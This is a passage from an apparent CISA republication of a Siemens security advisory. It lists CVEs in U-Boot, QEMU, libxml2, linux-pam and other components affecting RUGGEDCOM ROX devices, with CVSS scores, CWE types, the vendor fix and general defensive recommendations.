String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2022-2347\n<div class=\"csaf-accordion-content\">\n\nThere exists an unchecked length field in UBoot. The U-Boot DFU implementation does not bound the length field in USB DFU download setup packets, and it does not verify that the transfer direction corresponds to the specified command. Consequently, if a physical attacker crafts a USB DFU download setup packet with a `wLength` greater than 4096 bytes, they can write beyond the heap-allocated request buffer.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-122 Heap-based Buffer Overflow\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2022-30552\n<div class=\"csaf-accordion-content\">\n\nDas U-Boot 2022.01 has a Buffer Overflow.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2022-30790\n<div class=\"csaf-accordion-content\">\n\nDas U-Boot 2022.01 has a Buffer Overflow, a different issue than CVE-2022-30552.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2022-34835\n<div class=\"csaf-accordion-content\">\n\nIn Das U-Boot through 2022.07-rc5, an integer signedness error and resultant stack-based buffer overflow in the \"i2c md\" command enables the corruption of the return address pointer of the do_i2c_md function.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.8\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2023-3019\n<div class=\"csaf-accordion-content\">\n\nA DMA reentrancy issue leading to a use-after-free error was found in the e1000e NIC emulation code in QEMU. This issue could allow a privileged guest user to crash the QEMU process on the host, resulting in a denial of service.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2023-27043\n<div class=\"csaf-accordion-content\">\n\nThe email module of Python through 3.11.3 incorrectly parses e-mail addresses that contain a special character. The wrong portion of an RFC2822 header is identified as the value of the addr-spec. In some applications, an attacker can bypass a protection mechanism in which application access is granted only after verifying receipt of e-mail to a specific domain (e.g., only @company.example.com addresses may be used for signup). This occurs in email/_parseaddr.py in recent versions of Python.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-1286 Improper Validation of Syntactic Correctness of Input\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-3447\n<div class=\"csaf-accordion-content\">\n\nA heap-based buffer overflow was found in the SDHCI device emulation of QEMU. The bug is triggered when both `s->data_count` and the size of `s->fifo_buffer` are set to 0x200, leading to an out-of-bound access. A malicious guest could use this flaw to crash the QEMU process on the host, resulting in a denial of service condition.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-122 Heap-based Buffer Overflow\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-22365\n<div class=\"csaf-accordion-content\">\n\nlinux-pam (aka Linux PAM) before 1.6.0 allows attackers to cause a denial of service (blocked login process) via mkfifo because the openat call (for protect_dir) lacks O_DIRECTORY.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-664 Improper Control of a Resource Through its Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-57256\n<div class=\"csaf-accordion-content\">\n\nAn integer overflow in ext4fs_read_symlink in Das U-Boot before 2025.01-rc1 occurs for zalloc (adding one to an le32 variable) via a crafted ext4 filesystem with an inode size of 0xffffffff, resulting in a malloc of zero and resultant memory overwrite.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-190 Integer Overflow or Wraparound\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-57258\n<div class=\"csaf-accordion-content\">\n\nInteger overflows in memory allocation in Das U-Boot before 2025.01-rc1 occur for a crafted squashfs filesystem via sbrk, via request2size, or because ptrdiff_t is mishandled on x86_64.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-190 Integer Overflow or Wraparound\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-0395\n<div class=\"csaf-accordion-content\">\n\nWhen the assert() function in the GNU C Library versions 2.13 to 2.40 fails, it does not allocate enough space for the assertion failure message string and size information, which may lead to a buffer overflow if the message string size aligns to page size.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-131 Incorrect Calculation of Buffer Size\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.2\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-3576\n<div class=\"csaf-accordion-content\">\n\nA vulnerability in the MIT Kerberos implementation allows GSSAPI-protected messages using RC4-HMAC-MD5 to be spoofed due to weaknesses in the MD5 checksum design. If RC4 is preferred over stronger encryption types, an attacker could exploit MD5 collisions to forge message integrity codes. This may lead to unauthorized message tampering.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-328 Use of Weak Hash\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.9\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-6020\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in linux-pam. The module pam_namespace may use access user-controlled paths without proper protection, allowing local users to elevate their privileges to root via multiple symlink attacks and race conditions.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-7425\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in libxslt where the attribute type, atype, flags are modified in a way that corrupts internal memory management. When XSLT functions, such as the key() process, result in tree fragments, this corruption prevents the proper cleanup of ID attributes. As a result, the system may access freed memory, causing crashes or enabling attackers to trigger heap corruption.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9714\n<div class=\"csaf-accordion-content\">\n\nUncontrolled recursion in XPath evaluation in libxml2 up to and including version 2.9.14 allows a local attacker to cause a stack overflow via crafted expressions. XPath processing functions `xmlXPathRunEval`, `xmlXPathCtxtCompile`, and `xmlXPathEvalExpr` were resetting recursion depth to zero before making potentially recursive calls. When such functions were called recursively this could allow for uncontrolled recursion and lead to a stack overflow. These functions now preserve recursion depth across recursive calls, allowing recursion depth to be controlled.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-674 Uncontrolled Recursion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.2\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-46836\n<div class=\"csaf-accordion-content\">\n\nnet-tools is a collection of programs that form the base set of the NET-3 networking distribution for the Linux operating system. Inn versions up to and including 2.10, the Linux network utilities (like ifconfig) from the net-tools package do not properly validate the structure of /proc files when showing interfaces. `get_name()` in `interface.c` copies interface labels from `/proc/net/dev` into a fixed 16-byte stack buffer without bounds checking, leading to possible arbitrary code execution or crash. The known attack path does not require privilege but also does not provide privilege escalation in this scenario. A patch is available and expected to be part of version 2.20.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-121 Stack-based Buffer Overflow\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.6\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-49794\n<div class=\"csaf-accordion-content\">\n\nA use-after-free vulnerability was found in libxml2. This issue occurs when parsing XPath elements under certain circumstances when the XML schematron has the schema elements. This flaw allows a malicious actor to craft a malicious XML document used as input for libxml, resulting in the program's crash using libxml or other possible undefined behaviors.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-825 Expired Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.1\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-49796\n<div class=\"csaf-accordion-content\">\n\nA vulnerability was found in libxml2. Processing certain sch:name elements from the input XML file can trigger a memory corruption issue. This flaw allows an attacker to craft a malicious XML input file that can lead libxml to crash, resulting in a denial of service or other possible undefined behavior due to sensitive data being corrupted in memory.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.1\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n</div>\n\n\n\nAcknowledgments\n\n\n\nSiemens ProductCERT reported these vulnerabilities to CISA.\n\n\n\n\nGeneral Recommendations\n\nAs a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity\n\n\n\nAdditional Resources\n\nFor further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories\n\n\n\nTerms of Use\n\nThe use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.\n\n\n\nLegal Notice and Terms of Use\n\nThis product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).\n\n\n\nRecommended Practices\n\nCISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.\n\nMinimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.\n\nLocate control system networks and remote devices behind firewalls and isolate them from business networks.\n\nWhen remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.\n\nCISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.\n\nCISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.\n\nCISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.\n\nOrganizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.\n\n\n\nAdvisory Conversion Disclaimer\n\nThis ICSA is a verbatim republication of Siemens ProductCERT SSA-577017 from a direct conversion of the vendor's Common Security 